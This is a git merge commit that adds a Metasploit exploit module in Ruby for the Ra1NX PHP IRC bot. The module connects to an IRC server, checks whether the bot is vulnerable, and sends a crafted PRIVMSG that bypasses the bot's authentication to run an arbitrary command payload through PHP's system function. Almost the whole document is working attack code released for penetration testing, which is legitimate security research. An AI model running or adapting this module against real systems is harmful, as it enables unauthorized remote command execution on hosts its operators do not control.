Merge branch 'Ra1NX_pubcall' of https://github.com/bwall/metasploit-framework into bwall-Ra1NX_pubcall
jvazquez-r7
commit
714fc83cfe
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@ -0,0 +1,171 @@
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Ra1NX PHP Bot PubCall Authentication Bypass Remote Code Execution',
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'Description' => %q{
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This module allows remote command execution on the PHP IRC bot Ra1NX by
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using the public call feature in private message to covertly bypass the
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authentication system.
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},
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'Author' =>
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[
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'bwall <bwall[at]openbwall.com>' # Ra1NX analysis and Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['OSVDB', '91663'],
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['URL', 'https://defense.ballastsecurity.net/wiki/index.php/Ra1NX_bot'],
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['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=69401ac90262f3855c23cd143d7d2ae0'],
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['URL', 'http://ddecode.com/phpdecoder/?results=8c6ba611ea2a504da928c6e176a6537b']
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],
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'Platform' => [ 'unix', 'win'],
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'Arch' => ARCH_CMD,
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'Payload' =>
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{
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'Space' => 344,
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'BadChars' => '',
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'DisableNops' => true,
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'Compat' =>
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{
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'PayloadType' => 'cmd'
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}
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},
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'Targets' =>
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[
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['Ra1NX / Unix', { 'Platform' => 'unix' } ],
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['Ra1NX / Windows', { 'Platform' => 'win' } ]
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],
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'Privileged' => false,
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'DisclosureDate' => 'Mar 24 2013',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(6667),
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OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),
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OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),
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OptString.new('RNICK', [true, 'Nickname of Target IRC Bot', 'jhl1']),
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OptString.new('PHP_EXEC', [true, 'Function used to call payload', 'system'])
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], self.class)
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end
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def connect_irc
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print_status("#{rhost}:#{rport} - Connecting to IRC server...")
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connect
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data = ""
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begin
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read_data = sock.get_once(-1, 1)
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while not read_data.nil?
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data << read_data
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read_data = sock.get_once(-1, 1)
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end
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rescue EOFError
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end
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if data and data =~ /020.*wait/
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print_status("#{rhost}:#{rport} - Connection successful, giving 3 seconds to IRC server to process our connection...")
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select(nil, nil, nil, 3)
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end
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end
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def check
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connect_irc
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response = register(sock)
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if response =~ /463/ or response =~ /464/
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print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
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return Exploit::CheckCode::Unknown
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end
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confirm_string = rand_text_alpha(8)
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response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n")
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quit(sock)
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disconnect
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if response =~ /#{confirm_string}/
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return Exploit::CheckCode::Vulnerable
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else
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return Exploit::CheckCode::Safe
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end
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end
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def send_msg(sock, data)
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sock.put(data)
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data = ""
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begin
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read_data = sock.get_once(-1, 1)
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while not read_data.nil?
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data << read_data
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read_data = sock.get_once(-1, 1)
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end
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rescue EOFError
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end
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data
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end
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def register(sock)
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msg = ""
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if datastore['IRC_PASSWORD'] and not datastore['IRC_PASSWORD'].empty?
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msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"
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end
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if datastore['NICK'].length > 9
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nick = rand_text_alpha(9)
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print_error("The nick is longer than 9 characters, using #{nick}")
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else
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nick = datastore['NICK']
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end
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msg << "NICK #{nick}\r\n"
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msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"
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response = send_msg(sock,msg)
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return response
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end
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def ra1nx_command(sock)
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encoded = payload.encoded
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command_msg = "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @#{datastore['PHP_EXEC']} #{encoded}\r\n"
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response = send_msg(sock, command_msg)
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return response
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end
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def quit(sock)
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quit_msg = "QUIT :bye bye\r\n"
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sock.put(quit_msg)
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end
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def exploit
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connect_irc
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print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
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response = register(sock)
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if response =~ /463/ or response =~ /464/
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print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
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return
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end
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print_status("#{rhost}:#{rport} - Exploiting the Ra1NX bot...")
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ra1nx_command(sock)
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quit(sock)
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disconnect
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end
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end
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